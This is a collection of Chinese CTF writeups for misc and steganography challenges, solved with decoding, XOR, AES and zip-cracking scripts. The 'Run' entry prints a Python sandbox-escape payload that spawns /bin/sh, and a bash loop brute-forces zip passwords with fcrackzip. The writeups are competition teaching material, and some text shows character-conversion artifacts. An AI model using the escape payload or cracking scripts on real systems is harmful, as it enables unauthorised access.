code = "UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA=="
r = base64.b64decode(code)
file = open("flag.rar", "wb")
file.write(r)
file.close()
打開壓縮包,發現須要輸入密碼,經過爆破也沒解密出來,解密密碼可能和視頻中的圖片有關。
經過free video to jpg converter,將視頻中的圖片提取出來
下載地址:https://secure-sc-dvdvideosoft.netdna-ssl.com/FreeVideoToJPGConverter_5.0.101.201_o.exe
獲得316張圖片,經過仔細查看,發現有4張圖片裏面包含了二維碼
下面是提取出含有二維碼的4張圖片,並對4張圖片中的二維碼單獨截圖出來,經過QR Rearch進行掃描,並得到4個KEY的密碼字符串。
作這種題目着實應該把屏幕調亮一點,最後一張二維碼找了很久死活找不到,調亮了屏幕以後就立馬找到了。
將二維碼掃描得到的4個KEY的字符串按照屬性
拼接獲得解壓密碼key:iwantplayctf
輸入iwantplayctf密碼對flag.zip進行解壓縮,得到flag.txt
打開flag.txt得到flag
最終flag爲:
roarctf{CTF-from-RuMen-to-RuYuan}
題目名稱:打開電動車
題目描述:
截獲了一臺電動車的鑰匙發射出的鎖車信號,3分鐘以內,我要得到它地址位的所有信息。flag內容二進制表示便可
題目附件:
https://adworld.xctf.org.cn/media/uploads/task/3d93f0c47ad94e31882e0a670eb6f5cf.zip
題目writeup:
下載附件,對其解壓,獲得一個音頻文件,經過Audacity打開音頻文件,而後經過視圖---放大查看波形圖。
能夠看到短波和長波
短波爲0,長波爲1,轉換獲得 01 字符串:
0 011101001010101001100010
根據題目信息說須要地址位的所有信息
查資料獲得:信號是由同步引導碼,地址位和數據位構成
固定碼遙控信號的構成:
一個是PT226x的,前面4bit表示同步碼,中間的8bit表示地址碼,後面的4bit表示功能碼,後面最後一個是中止碼
一個是PT224x的,前面8bit表示同步碼,中間的20bit表示地址碼,後面的4bit表示功能碼,後面最後一個是中止碼
PT226X和PT224X不一樣之處,PT226X 中不可能出現10這種狀況
,這道題就是PT224X.
鑰匙信號(PT224X) = 同步引導碼(8bit) + 地址位(20bit) + 數據位(4bit) + 中止碼(1bit)
仔細查看波形圖獲得以下:
![](http://static.javashuo.com/static/loading.gif)
因此去掉前面的同步碼0和後面的數據位0010獲得所有20bit地址位以下:
01110100101010100110
最終flag:
flag{
01110100101010100110}
題目名稱:hong
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/3fce1ffa2af0438f82c38e321d3d3032.rar
題目writeup:
下載附件,對其解壓,獲得一個hong.mp3的音頻文件,經過binwalk分析音頻文件包含的文件,能夠看到包含有jpeg圖片文件
binwalk hong.mp3
經過foremost命令對hong.mp3文件進行分離,獲得2個圖片文件
foremost hong.mp3
首先查看0000161.jpg文件,發現是一張二維碼圖片
經過QR Rearch二維碼識別工具對
0000161.jpg文件進行掃描識別,獲得一串十六進制字符串
經過在線網站https://ab126.com,對十六進制字符串進行轉換爲ascii,解密出來是亂碼,無用。
03f30d0ad41db4576300000000000000000100000040000000730d0000006400008400005a00006401005328020000006300000000030000000700000043000000734b0000006401006402006403006404006405006406006407006707007d00006408007d0100781e007c0000445d16007d02007c01007400007c0200830100377d0100712800577c010047486400005328090000004e694d0000006972000000692e0000006948000000696f000000696e0000006967000000740000000028010000007403000000636872280300000074030000007374727404000000666c6167740100000069280000000028000000007304000000612e7079520300000001000000730a00000000011b0106010d0114024e280100000052030000002800000000280000000028000000007304000000612e707974080000003c6d6f64756c653e010000007300000000
最後查看另外一張00000269.jpg圖片,發現圖片中包含有flag內容
最終flag爲:
BCTF{cute&fat_cats_does_not_like_drinking}
題目名稱:3-1
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/e395d6e5b79b4cc49ee4e5c704f872ae
題目writeup:
下載附件,對其進行解壓,獲得一個二進制文件flag,經過file命令查看二進制文件flag,發現文件格式爲rar壓縮包
file flag
將其二進制文件flag 重命名爲flag.rar,並對壓縮文件進行解壓,獲得一個文件flag1
再次經過file命令查看falg1的文件格式爲pcapng
file flag1
將flag1重命名爲flag1.pcapng,並經過wireshark打開。搜索關鍵字falg,發如今http協議中有flag.zip和flag.txt進行get 請求。猜想flag和這2個文件有關。
經過wireshark的導出對象---http功能可導出http請求全部的文件內容。
這裏導出http請求的全部對象保存到flag文件夾下
導出來2個文件分別爲receiver和flag.zip,並對flag.zip進行解壓縮,發現須要密碼,解壓密碼須要在流量包中分析得到。
接下繼續分析流量包,對flag.rar http get 請求處進行追蹤流--tcp流分析
追蹤 TCP 流 6 時,發現一些linux操做命令和一段 python 代碼。
Linux 系統帳戶爲 root,密碼爲 jfm,嘗試用 jfm 解壓失敗,接下來執行 ls,cd tf/ cd wireshark/,ls 命令。 執行 cat 1 時獲得 rar 文件內容, 執行 cat 2,獲得 base64 編碼,解碼發現亂碼,嘗試直接用於解壓,失敗 執行 cat 3,獲得 一段 python 代碼,代碼中有 AES,猜想是須要解密 其中,那個base64應該就是密文base64加密以後的字符串。
該python是一個經過AES的CBC模式將字符串進行加密或解密的腳本,其中IV是密鑰也是偏移量
# coding:utf-8
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64
IV = 'QWERTYUIOPASDFGH'
def decrypt(encrypted):
aes = AES.new(IV, AES.MODE_CBC, IV)
return aes.decrypt(encrypted)
def encrypt(message):
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\0' * padding
aes = AES.new(IV, AES.MODE_CBC, IV)
return aes.encrypt(message)
str = 'this is a test'
example = encrypt(str)
print(decrypt(example))
對上面python 代碼進行修改 ,並對其編 碼 用 base64 解 碼 後 解 密 ((注意要先用base64解碼才能進行AES-CBC解密):
# coding:utf-8
__author__ = 'YFP'
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64
IV = 'QWERTYUIOPASDFGH'
def decrypt(encrypted):
aes = AES.new(IV, AES.MODE_CBC, IV)
return aes.decrypt(encrypted)
def encrypt(message):
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\0' * padding
aes = AES.new(IV, AES.MODE_CBC, IV)
return aes.encrypt(message)
str = 'this is a test'
example = encrypt(str)
print(decrypt(example))
#增長以下兩行
a='19aaFYsQQKr+hVX6hl2smAUQ5a767TsULEUebWSajEo='
print(decrypt(base64.b64decode(a)))
執行修改後的python 腳本,獲得base64的AES解密字符串爲:
No_One_Can_Decrypt_Me,並將該字符串做爲密碼對flag.zip進行解壓縮
成功解壓出flag.txt,打開flag.txt,得到flag
最終flag爲:
WDCTF{Seclab_CTF_2017}
wdflag{My_c4t_Ho}
題目名稱:4-2
題目描述:
格式爲flag{xxxxxxxx}
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/1ddbc89c20c845928498c22cd3faf1c4.txt
題目writeup:
下載附件 ,獲得一個.txt文件,打開文件發現下面幾個標紅的字母具備必定頻率數
經過詞頻分析獲得flag,附在線分析網站:https://quipqiup.com
獲得flag:
classical-cipher_is_not_security_hs
根據題目描述,提交的flag格式,最終flag爲:
flag{classical-cipher_is_not_security_hs}
題目名稱:5-1
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/badd3e0621ff43de8cf802545bbd3ed0
題目writeup:
下載附件,對其進行解壓,獲得一個二進制文件flag,經過命令file查看文件類型,並無發現文件類型
file flag
經過winhex打開flag文件,發現字符是加了密,猜想可能xor加密
這裏經過xortool(
https://github.com/hellman/xortool)對flag文件進行分析.
xortool.py是基於python的腳本,用於完成一些xor分析,包括:1.
猜測key的長度;2.
猜測key的值;3.
解密一些通過xoe加密的文件.
下面查看flag的xor加密的密鑰長度,能夠看到佔比最大的百分百就是密鑰長度爲13
xortool flag
xortool flag -l 13 -c 20
參數解釋:
其中-l就是指定密鑰長度,-c表示出現頻率最高的字符。字符出現的最高頻率通常爲20
嘗試出了key:GoodLuckToYou(根據經驗將試出來的),經過如下python腳本對原文件進行異或解密:
import os
c = open("flag",'rb').read()
key = "GoodLuckToYou"
def xor(c,k):
keylen = len(k)
res = ""
for pos,c in enumerate(c):
res +=chr(ord(c) ^ ord(k[pos % keylen]))
return res
print xor(c,key)
運行python腳本獲得一串字符串,其中字符串中就包含有flag內容
最終 flag爲:
wdflag{You Are Very Smart}
連環套娃壓縮包破解之音頻隱寫
題目名稱:Miscellaneous-300
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/f932f55b83fa493ab024390071020088.zip
題目writeup:
下載附件對其解壓,獲得一個壓縮文件flag.zip,對其進行解壓,提示須要輸入密碼,猜想須要對其壓縮包進行密碼爆破
經過ziperello對壓縮包進行爆破
發現爆破出來的密碼是46783,密碼正好是裏面壓縮包名稱。
經過該密碼對壓縮包進行解壓,可成功解密
解壓完了,又出現了一個新的壓縮包,解壓壓縮包,又提示須要輸入密碼
接着,按照上面的爆破壓縮包密碼的方法進行爆破
結果發現密碼就是壓縮包內文件名。發現的規律是:解壓裏面又是個壓縮包,解壓一波,發現又是一個壓縮包,後一個文件名的名字是前一個壓縮包的解壓密碼。
讓咱們編寫一個sh 腳本,並調用fcrackzip命令遞歸地破解和提取zip文件:
crack_zip.sh:
#!/usr/bin/env bash
while [ -e *.zip ]; do
files=*.zip;
for file in $files; do
echo -n "Cracking ${file}… ";
output="$(fcrackzip -u -l 1-6 -c '1' *.zip | tr -d '\n')";
password="${output/PASSWORD FOUND\!\!\!\!: pw == /}";
if [ -z "${password}" ]; then
echo "Failed to find password";
break 2;
fi;
echo "Found password: \`${password}\`";
unzip -q -P "${password}" "$file";
rm "${file}";
done;
done;
執行sh腳本:
bash crack_zip.sh
讓它執行一段時間後,最後會獲得一個12475.zip,發現純數字密碼爆破失敗,這個一個複雜的密碼加密的壓縮包
經過fackzip的複雜密碼對其進行爆破,發現爆破出來的密碼爲:boyzz
./fcrackzip -u -c a1 -l 1-6 12475.zip
經過unzip對12475.zip進行解壓,獲得一個音頻文件mess.wav
unzip -q -P b0yzz 12475.zip
經過音頻隱寫工具Audacity打開音頻文件mess.wav,並選擇頻譜圖,就能夠查看到flag的內容。
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
最終 falg爲:
BallsRealBolls
題目名稱:雙色塊
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/45663022307c456897d30639f56da759.zip
題目writeup:
方法一:
下載附件,對其解壓,獲得一個out.gif的動態圖片,且只存在綠色和紫色兩個顏色,分佈不均勻
經過binwalk命令查看圖片隱藏的文件,能夠看到隱藏了png圖片
binwalk out.gif
經過foremost命令對out.gif進行分離,可到一個00001436.png圖片
foremost out.gif
查看分離的圖片,發現圖片的內容爲key:ctfer2333,猜想和flag有關,且
分析這張圖片無異常。
經過GifSplitter將out.gif文件進行分幀處理
獲得576張圖片,全部圖片中只有紫色和綠色兩種顏色,應該對應的是1和0或者0和1,可轉換成01二進制數據
按照紫色1,綠色0的規則按照前後順序排列出瞭如下數據:
011011110011100001000100011011000111100001001011001010110100100000111000011101110111001101101001010110000110010100101111010001010101001001000110011100000100000101001101011000010100001001010000011010010100100101100011011010100011000101110011010010000111100101000111010011110100110101101101010100010100010001101011010010110010101101110101010110000111001101010110010110100110011101110010011001010011010101000100010100110101100001110111001111010011110101101000011010000110100001101000011010000110100001101000011010000110100001101000011010000110100001101000011010000110100001101000
每八個一組轉換成ascii字符。那麼經過在線工具二進制轉asciii,
http://www.txttool.com/wenben_binarystr.asp,可獲得ascii爲:o8DlxK+H8wsiXe/ERFpAMaBPiIcj1sHyGOMmQDkK+uXsVZgre5DSXw==hhhhhhhhhhhhhhhh
按照紫色0,綠色1的規則排列出如下數據:
100100001100011110111011100100111000011110110100110101001011011111000111100010001000110010010110101001111001101011010000101110101010110110111001100011111011111010110010100111101011110110101111100101101011011010011100100101011100111010001100101101111000011010111000101100001011001010010010101011101011101110010100101101001101010010001010101001111000110010101001101001011001100010001101100110101100101010111011101011001010011110001000110000101100001010010111100101111001011110010111100101111001011110010111100101111001011110010111100101111001011110010111100101111001011110010111
同理,按照上面方面,獲得一些亂碼字符,顯然不是咱們想要的加密字符串。
獲得的加密字符串:
o8DlxK+H8wsiXe/ERFpAMaBPiIcj1sHyGOMmQDkK+uXsVZgre5DSXw==hhhhhhhhhhhhhhhh
這應該是des加密或者base64,可是有提示key,因此應該是des加密,key是上面的圖片內容ctfer2333,正常來講des結尾是=,最後一串h去掉就行了。
而後到http://tool.chacuo.net/cryptdes解密
方法二:
gif輪播以後發現是⼀個24*
24的像素點,每一個像素爲10
10,每一個點顏⾊爲00ff00或是ff00ff 先把gif分離成單幀,那麼能夠經過 python腳本對其進行分割成不一樣的單幀圖像。
# ! /usr/bin/env python2
# -*- coding: utf-8 -*-
import os
from PIL import Image
def main(gif_file):
png_dir = 'C:\\Users\\backlion\\Desktop\\flag\\'
img = Image.open(gif_file)
while True:
current = img.tell()
img.save(png_dir + str(current + 1) + '.png')
img.seek(current + 1)
if __name__ == '__main__':
gif_file = 'out.gif'
main(gif_file)
而後讀取每一個png中的對應點的信息,並按照8bit轉換爲ascii
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
import os
from PIL import Image
def main():
png_dir = 'C:\\Users\\backlion\\Desktop\\flag\\'
ret = ""
for i in range(0, 24):
line = ""
for j in range(0, 24):
file_name = "C:\\Users\\backlion\\Desktop\\flag\\" + str(i * 24 + j + 1) + ".png"
x = j * 10 + 5
y = i * 10 + 5
img = Image.open(file_name)
img = img.convert("RGB")
img_array = img.load()
r, g, b = p = img_array[x, y]
if g == 255:
line += "0"
if r == 255 and b == 255:
line += "1"
if len(line) == 8:
ret += chr(int(line, 2))
line = ""
print ret
if __name__ == '__main__':
main()
最終flag爲:
flag{2ce3b416457d4380dc9a6149858f71db}
題目名稱:Py-Py-Py
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/58cadd8d8269455ebc94690fd777c34a.pyc
題目writeup:
下載附件,獲得一個pyc文件,經過uncompyle6命令將其反編譯成python腳本
uncompyle6 flag.pyc>flag.py
其中flag.py是一個rc4的加密解密python腳本:
# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.18 (default, Feb 27 2021, 08:40:44)
# [GCC 10.2.1 20210110]
# Warning: this version of Python has problems handling the Python 3 "byte" type in constants properly.
# Embedded file name: pystego.py
# Compiled at: 2017-08-01 00:44:47
# Size of source mod 2**32: 1961 bytes
import sys, os, hashlib, time, base64
fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU='
def crypto(string, op='encode', public_key='ddd', expirytime=0):
ckey_lenth = 4
public_key = public_key and public_key or ''
key = hashlib.md5(public_key).hexdigest() ##將public_key以MD5方式加密,再轉化成十六進制
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or ''
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
key_lenth = len(cryptkey)
string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
for i in xrange(255):
randkey.append(ord(cryptkey[(i % key_lenth)]))
for i in xrange(255):
j = 0
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
for i in xrange(string_lenth):
a = j = 0
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[((box[a] + box[j]) % 256)])
if op == 'decode':
if result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0:
if result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
return
else:
return keyc + base64.b64encode(result)
if __name__ == '__main__':
while True:
flag = raw_input('Please input your flag:')
if fllag == crypto(fllag, 'decode'):
print('Success')
print crypto(fllag, 'decode')
break
else:
continue
# okay decompiling flag.pyc
根據腳本分析,在原flag.py腳本基礎上,直接把下面這段代碼刪除了,再添加一句 print crypto(fllag,'decode')就能夠修改爲解密腳本。
if __name__ == '__main__':
while True:
flag = raw_input('Please input your flag:')
if flag == crypto(fllag, 'decode'):
print('Success')
break
else:
continue
最終修改後的解密腳本爲:
# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.18 (default, Feb 27 2021, 08:40:44)
# [GCC 10.2.1 20210110]
# Warning: this version of Python has problems handling the Python 3 "byte" type in constants properly.
# Embedded file name: pystego.py
# Compiled at: 2017-08-01 00:44:47
# Size of source mod 2**32: 1961 bytes
import sys, os, hashlib, time, base64
fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU='
def crypto(string, op='encode', public_key='ddd', expirytime=0):
ckey_lenth = 4
public_key = public_key and public_key or ''
key = hashlib.md5(public_key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or ''
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
key_lenth = len(cryptkey)
string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
for i in xrange(255):
randkey.append(ord(cryptkey[(i % key_lenth)]))
for i in xrange(255):
j = 0
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
for i in xrange(string_lenth):
a = j = 0
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[((box[a] + box[j]) % 256)])
if op == 'decode':
if result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0:
if result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
return
else:
return keyc + base64.b64encode(result)
print crypto(fllag,'decode')
執行腳本,獲得 flag 的值:The challenge is Steganography, 直接提交不對,加flag{}提交仍然也不對。
根據腳本解密獲得The challenge is Steganography,是pyc的隱寫,百度到在pyc中隱藏payload的工具爲stegosaurus。
經過 stegosaurus腳本查看隱藏在flag.pyc中的字符串
./stegosaurus -x flag.pyc
最終 flag:
Flag{HiD3_Pal0ad_1n_Python}
題目名稱:warmup
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/b7b7e994d7fb4316b03f446295cfd03b.zip
題目writeup:
下載附件,對其進行解壓,獲得一個png圖片以及一個壓縮包文件
對壓縮包進行解壓提示須要輸入密碼,這裏猜想可能須要爆破壓縮包密碼或者明文攻擊、
打開壓縮包預覽,發現其中包含的圖片文件和附件解壓獲得的圖片文件名稱是一致的。猜想須要用到明文攻擊。
這裏首先對open_forum.png圖片經過winrar對其壓縮成文件open_forum.zip
同時查看到
open_forum.zip文件的CRC232值和須要密碼解密的壓縮包文件warmup.zip的CRC232的值同樣。那麼warmup.zip壓縮包解壓存在明文攻擊。
經過ARCHRP攻擊對
warmup.zip進行明文攻擊
這裏可能徹底解密成功須要一夜,實際須要不了那麼多少,在10分鐘左右就能夠終止。
終止壓縮包爆破後,可肯定直接保存爲warmup_decrypted.zip文件。
對
warmup_decrypted.zip文件進行解壓縮,成功解壓出三張圖片,其中fuli.png和fuli2.png圖片顯示是同樣的。
經過stegsolve對其fuli.png圖片進行通道查看,並無發現啥。
再次經過
stegsolve對其fuli2.png進行通道查看,發現出現一些
根據以上判斷,2張圖片存在盲水印。
合成盲水印圖,盲水印用到的py腳本能夠在github上下載,https://github.com/chishaxie/BlindWaterMark,使用時須要安裝前置opencv-python庫
經過bwm.py腳本能夠將2張圖片合成一張圖片flag.png
python bwm.py decode pen.png apple.png flag.png
打卡flag.png圖片,能夠看到flag內容
最終flag爲:
flag{bWm_Are_W0nderfu1}
題目名稱:傳感器1
題目描述:
已知ID爲0x8893CA58的溫度傳感器的未解碼報文爲:3EAAAAA56A69AA55A95995A569AA95565556 此時有另外一個相同型號的傳感器,其未解碼報文爲:3EAAAAA56A69AA556A965A5999596AA95656 請解出其ID,提交格式爲flag{xxx}
題目writeup:
基礎知識:
曼徹斯特編碼(Manchester Encoding),也叫作相位編碼( Phase Encode,簡寫PE),是一個同步時鐘編碼技術,被物理層使用來編碼一個同步位流的時鐘和數據。
它在以太網媒介系統中的應用屬於數據通訊中的兩種
位同步方法裏的自同步法(另外一種是外同步法),即接收方利用包含有同步信號的特殊編碼從信號自身提取同步
信號來鎖定本身的時鐘脈衝頻率,達到同步目的。
IEEE 802.4(令牌總線)和低速版的IEEE 802.3(以太網)中規定, 按照這樣的說法, 01電平跳變表示1, 10的電平跳變表示0。
方法一:
先把16進制3EAAAAA56A69AA55A95995A569AA95565556都轉成2進制,獲得:
1111101010101010101010101001010110101001101001101010100101010110101001010110011001010110100101011010011010101010010101010101100101010101010110
又得知曼切斯特是從低到高跳變表示「1」,從高到低跳變表示「0」,即01->1,10->0。能夠看到二進制除了前4位,後面都是10,01,差分曼切斯特有跳變爲"0",無跳變爲"1
那麼實際上轉換成的二進制爲(去掉前面最前面1111):
101010101010101010101001010110101001101001101010100101010110101001010110011001010110100101011010011010101010010101010101100101010101010110
所以將編碼進行曼切斯特解碼:
00000000001001001101100010001001001111001010010110000100000110000001
轉成16進制獲得:
24d8893ca584181
又得知第一個ID爲0x8893CA58的溫度傳感器就在第一個曼切斯特解碼24d8893ca584181中,是第4位到11位爲:8893ca58,轉換成大寫爲8893CA58
根據上面原理,可將3EAAAAA56A69AA556A965A5999596AA95656,轉換成曼切斯特解碼爲24d8845abf34119,取第4位到11位,最終爲:8845ABF3
那麼flag爲:
flag{8845ABF3}
方法二:
python腳本(這裏須要將3E前綴去掉,由於轉換成二進制爲1111,不存在曼切斯特解碼特性)
char = "AAAAA56A69AA556A965A5999596AA95656"
result = char.replace("5","0101").replace("6","0110").replace("9","1001").replace("A","1010")
num = len(result)
flag = ""
flag_final = ""
result = "0"+result
for i in range(1,num,2):
if result[i:i+2][0] !=result[i-1]:
flag += "0"
if result[i:i+2][0] ==result[i-1]:
flag += "1"
print hex(int(flag,2)).upper()[2:]
或者:
id1 = 0x8893CA58
msg1 = 0x3EAAAAA56A69AA55A95995A569AA95565556
msg2 = 0x3EAAAAA56A69AA556A965A5999596AA95656
def calc(msg):
id=''
s = bin(msg)[6:]
for i in range(2, len(s), 2):
if s[i-2:i] == s[i:i+2]:
id += '0'
else:
id += '1'
return hex(int(id, 2)).upper()
print(calc(msg1))
print(calc(msg2))
能夠看到id是取結果的4到11位,ID爲:
8845ABF3
最終flag爲:
flag{8845ABF3}
題目名稱:halo
題目描述:
答案的格式爲flag{XXXX}
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/56afc3a6c8d04cde8b1354b77fe91731.zip
題目writeup:
下載附件,對其進行解壓獲得一個txt文件,文件內容看來像base64加密
經過在線base64解密網站對其進行base64解密,獲得特殊的字符串:igq4;441R;1ikR51ibOOp,提交flag顯示不對
嘗試多種後狀況後,該加密字符串爲base64和異或的加密,經過如下腳本對其進行解密:
import string
from base64 import *
b=b64decode("aWdxNDs1NDFSOzFpa1I1MWliT08w")
data=list(b)
for k in range(0,200):
key=""
for i in range(len(data)):
key+=chr(ord(data[i])^k)
print (key)
獲得的結果,發現惟一一個沒有特殊字符爲:jdr78672Q82jhQ62jaLL3
最終flag爲:
flag{jdr78672Q82jhQ62jaLL3}
題目名稱:picture3
題目描述:
flag提交形式爲flag{XXXX}
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/7128eb78f49242d39b71e0496c3b52ab.jpg
題目writeup:
下載附件,獲得一張圖片,經過binwalk對其進行解壓。獲得149EC.zip 和stego.txt文件
binwalk -e flag.jpg
查看壓縮包149EC. zip文件裏面包含一個stego.txt文件且CRC32值爲0CF2D018,同時對其解壓,提示須要輸入密碼,該文件名和圖片解壓出來的stego.txt是相同的。須要解壓該壓縮包文件,猜想是須要用到明文攻擊
、、
經過winrar對
stego.txt文件進行壓縮成stego.txt,查看CRC32值和149EC. zip壓縮包中值相同
這裏經過ARCHPR對壓縮包
149EC. zip進行明文攻擊,可是明文攻擊並不能恢復
經過winrar的自帶修復功能對
149EC. zip進行修復
修復後的文件保存爲rebuilt.149EC.zip,對其進行解壓,發現不須要輸入密碼,直接解壓獲得一個stego.txt文件
打開文件發現是不少行base64加密字符串
b2Q5dU==
aDk5Ni==
ZG8wOW==
ZzYxYh==
ZjU4NT==
aXBjNF==
Q3dTM2==
d1Y5c1==
dFA3WV==
ZDNQUP==
ejhBMT==
dUowaW==
OVQ2ZD==
aUM5ZU==
NnFFek==
ZGc0T/==
NGpWNE==
NVZpUW==
ejZDTm==
a1VEN5==
azNMUX==
TXlhNW==
bjZwWm==
Q2Q0b1==
猜想多是base64隱寫:
依次讀取每行,從中提取出隱寫位。
若是最後沒有‘=’,說明沒有隱寫位,跳過。
若是最後是一個‘=’,說明有兩位隱寫位,將倒數第二個字符轉化爲對應的二進制索引,而後取後兩位。
若是最後是兩個‘=’,說明有四位隱寫位,將倒數第三個字符轉化爲對應的二進制索引,而後取後四位。
將每行提取出的隱寫位依次鏈接起來,每8位爲一組轉換爲ASCII字符,最後不足8位的丟棄。
經過腳本跑出隱寫,得到flag:
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s1)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res
def solve_stego():
with open('stego.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
print res_str
solve_stego()
根據falg提交格式,最終flag爲:
flag{Ba5e_64OFive}
題目名稱:7-2
題目描述:
提交格式爲wdflag{......}
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/118956c97c7c4a3e9b1508c1f5ea44be.zip
題目writeup:
下載附件,對其進行解壓,獲得不少文件,文件的名稱都是base64加密字符串
同時,打開其中任意文件,發現都是一串十進制加密字符串
經過腳本對解壓的全部文件夾的文件名進行將base64解密
# coding=utf-8
import os
import base64
for name in os.listdir("C:\\Users\\backlion\\Desktop\\flag\\problem\\"):
print name
# 因爲文件名不是4的倍數,須要在後面補‘=’
missing_padding = 4 - len(name) % 4
if missing_padding:
name += '=' * missing_padding
print str(base64.b64decode(name.encode()))
執行腳本獲得只有文件名YWluaWRleGluZ3podWFuZw base64解密出來的字符串ainidexingzhuang是正常顯示無亂碼。
打開
YWluaWRleGluZ3podWFuZw文件,發現一串數字,其中包括了{和}中的數字。那麼頗有可能這些數字解碼後就是flag
獲得{和}中的數字爲:82 42 82 52 63 21 42 22 73 21
該數字使用的是手機9鍵加密,第一個數字表明9鍵鍵盤下的數字,第二個數字表明該數字下的第幾個字母。
獲得9鍵盤加密的字符爲:
uhukoahbra
經過凱撒解密獲得一個有意義的字符ylyoselfve就是ctf的內容。
根據flag提交格式,最終flag爲:
wdflag{ylyoselfve}
題目名稱:4433
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/3f8b0f935fa74f3c9cea382bf3687569.rar
題目writeup:
下載附件,對其解壓獲得一張圖片,經過stegsolve圖片隱寫工具打開,查看通道,在橙色通道中出現了一張二維碼圖片。
經過QR Reach二維碼圖片掃描工具識別出內容是一串摩爾斯字符。
獲得內容:
...--.----...--..
想要解碼可是不知道怎麼分割,因而想到題目名稱 4433,表示 4 個 4 個 3 個 3 個分隔開。
那麼摩爾斯密碼加密密文爲:
...-/-.--/--./..-/-..
經過在線工具工具對其解密獲得:VYGUD
https://www.bejson.com/enc/morse/
將VYGUD進行flag提交,發現不對
由搜索引擎搜索摩斯密碼可知摩斯密碼經常使用的縮寫中:VY表明VERY,GUD表明GOOD,那麼flag爲內容爲:VERYGOOD
可參考:https://zh.wikipedia.org/wiki/%E6%91%A9%E5%B0%94%E6%96%AF%E7%94%B5%E7%A0%81#%E5%B8%B8%E7%94%A8%E7%BC%A9%E5%86%99
最終flag爲:
flag{
VERYGOOD}
題目名稱:Run
題目描述:
Run away! nc **.**.**.** XXXX
題目場景:
111.200.241.244:64579
題目writeup:
nc連上發現是一個python沙盒逃逸,一些能引起命令執行的python庫所有被禁用了。
最後在網上發現這麼一個文章
http://www.javashuo.com/article/p-uwtotpaa-p.html
經過().class.bases[0].subclasses()獲取當前加載的類
發現func_globals被過濾了,咱們使用__getattribute__繞過
最終payload:
w = ().__class__.__bases__[
0].__subclasses__() o = w[
59].__enter__.__func__.__getattribute__(
'__global' +
's__')[
's'+
'ys'].modules[
'o'+
's'] s = o.__getattribute__(
'sy' +
'stem') s(
'/bin/sh')
執行payload獲得當前sh腳本運行權限
經過cat命令查看文件5c72a1d444cf3121a5d25f2db4147ebb,獲得falg
最終flag:
flag{eee93c33d97aa55f785a7d10ba4ae3ce}
題目名稱:流量分析
